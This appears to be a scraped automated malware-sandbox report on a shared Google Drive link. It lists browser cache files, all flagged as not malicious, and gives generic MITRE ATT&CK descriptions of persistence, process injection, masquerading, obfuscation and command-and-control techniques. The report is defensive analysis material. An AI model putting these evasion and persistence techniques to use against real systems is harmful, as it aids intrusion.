Preview:	gapi.loaded_1(function(_){var window=this;._.zh=(window.gapi\|\|{}).load;._.Lo=_.kf(_.vf,"rw",_.lf());.var Mo=function(a,b){(a=_.Lo[a])&&a.state<b&&(a.state=b)};var No=function(a){a=(a=_.Lo[a])?a.oid:void 0;if(a){var b=_.gf.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Lo[a];No(a)}};_.Oo=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Po=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Qo=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Mo(e,2);a:{e=a.getSiteEl();c=c\|\|{};if(_.vf.oa){var k=d.id;if(k){f=(f=_.Lo[k])?f.state:void 0;if(f===1\|\|f===4)break a;No(k)}}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (541)
Category:	downloaded
Size (bytes):	2099327
Entropy (8bit):	5.644527794914939
Encrypted:	false
SSDEEP:
MD5:	BAB36246C42676D5E9D782E885713EFB
SHA1:	AE2BFF2D3279C05F13B19A9D3A27FDF83E8E34C4
SHA-256:	2C6011F674606E38AE32D79F41991BEA88E1A8B69921D43FB7B5BE61E32F8A21
SHA-512:	6678CCCA7BA4C24E197FB46AA2D24B0FBDF46293B57C8246523679B6EE0CAEB8A179691F6D7A1BFB185DA0062FE694606BAA7FACE1CCB2D22FBFDE5E9D8F8E09
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.dovcpt-GeYA.O/am=ABgM/d=1/rs=AO0039uH9NA_yVkoWlil9RA8HucOLHt5cQ/m=v,wb"
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0xc1800, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x435, Suserng: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	18062
Entropy (8bit):	7.990274824115373
Encrypted:	true
SSDEEP:
MD5:	B80A4DEA75A5915518F5B6C018BA0243
SHA1:	B31C4A2182A2734F8E7F99F03767E3B3FCB2F4A5
SHA-256:	10A4D449D77249523E87647F57CB9DCF9A0BE038425240AB83A4DADFBFEB5A0B
SHA-512:	135F878F8661BAF7A4A413E803B7CD188E51F13587E6187CF51711F420CC1CB3BA0617F33470B8F9390780CEF7E40FFAE66A00F95ABEFC6C7CF568E8D6DE9C83
Malicious:	false
Reputation:	unknown
Preview:	RIFF.F..WEBPVP8 zF...........>.Z.N.)?.$.)s...en....."..........y.....n5.....3C..x...?.v.]q..\........k.W./5.<=....z..~.~y...O.z_..T..~:......./.<. .....c.e..-x..z..:.s.w.s.G9o.....X.$(.h.s..y.r........=.a.e3@2......H....#.#.R.C.....7~........l.w.G3i....qi1_4......(z.N;.v.T..4....}6....`T...w......=..?...4....`[.y7.)n`....l.@.Bu.nzw(../...O.6..(..CF.....A.)..P......)......=..._.d... ....2g.A5.y.RK.!...N'A...&..3...=....L..mp.~....@..FW.....Nv..EW$.x>.L.....1.5...nA..U.#.........u....8#....#.F.........b..@.O...#.H.}......^.{s......)R.Q._.p.........=...a.rD..0..1C.1}..Tu.f.."go........#.a.....y...oH.P.."......8.9.oKT....w...8.-.ouB.....(4....Y..$9J.j..../..I._r....FC.R.%t3.H.QNl..&.'...Cp..Vpg...6.....).M9[T...#d.....P2Jx.....h.V..4I.em..b..-v.s..N.=g.....=U..<..L...Po.0....2..~.A..RX.d.?..7.....c...\.5.m,K_....%..^.,..~...@V.7V(... \.3.........z:`!..X./...9..I....:.l..L.G.wr........V...%.`.'.{.[.V........S.T4.[.0.1........}.M.. ..nR*....

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	4.758217138015706
Encrypted:	false
SSDEEP:
MD5:	7AC766454A72FBACB6EBDB5A01830BAA
SHA1:	023C1D4870A63E02F128B39C0387553619C5E56B
SHA-256:	22AE3C615F83AB97EDA448B27FC68E89D11DF3FAB1A486FC4A33C1C139D42B16
SHA-512:	E4068FFD44BD272C9696FB333D58100775FA1525B55B7884A4487195CFF4031EC68D023EF4C887659E7409C58E44C96521888E968ECC145B0F381AD5A8B56F5D
Malicious:	false
Reputation:	unknown
Preview:	{. "error": {. "code": 403,. "message": "Requests from referer \u003cempty\u003e are blocked.",. "status": "PERMISSION_DENIED",. "details": [. {. "@type": "type.googleapis.com/google.rpc.ErrorInfo",. "reason": "API_KEY_HTTP_REFERRER_BLOCKED",. "domain": "googleapis.com",. "metadata": {. "consumer": "projects/298134251447",. "service": "blobcomments-pa.googleapis.com". }. }. ]. }.}.

Static File Info

⊘No static file info

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 119

Chrome Cache Entry: 121

Chrome Cache Entry: 123

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 128

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 133

Chrome Cache Entry: 139

Chrome Cache Entry: 141

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 90

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Windows Analysis Report
https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing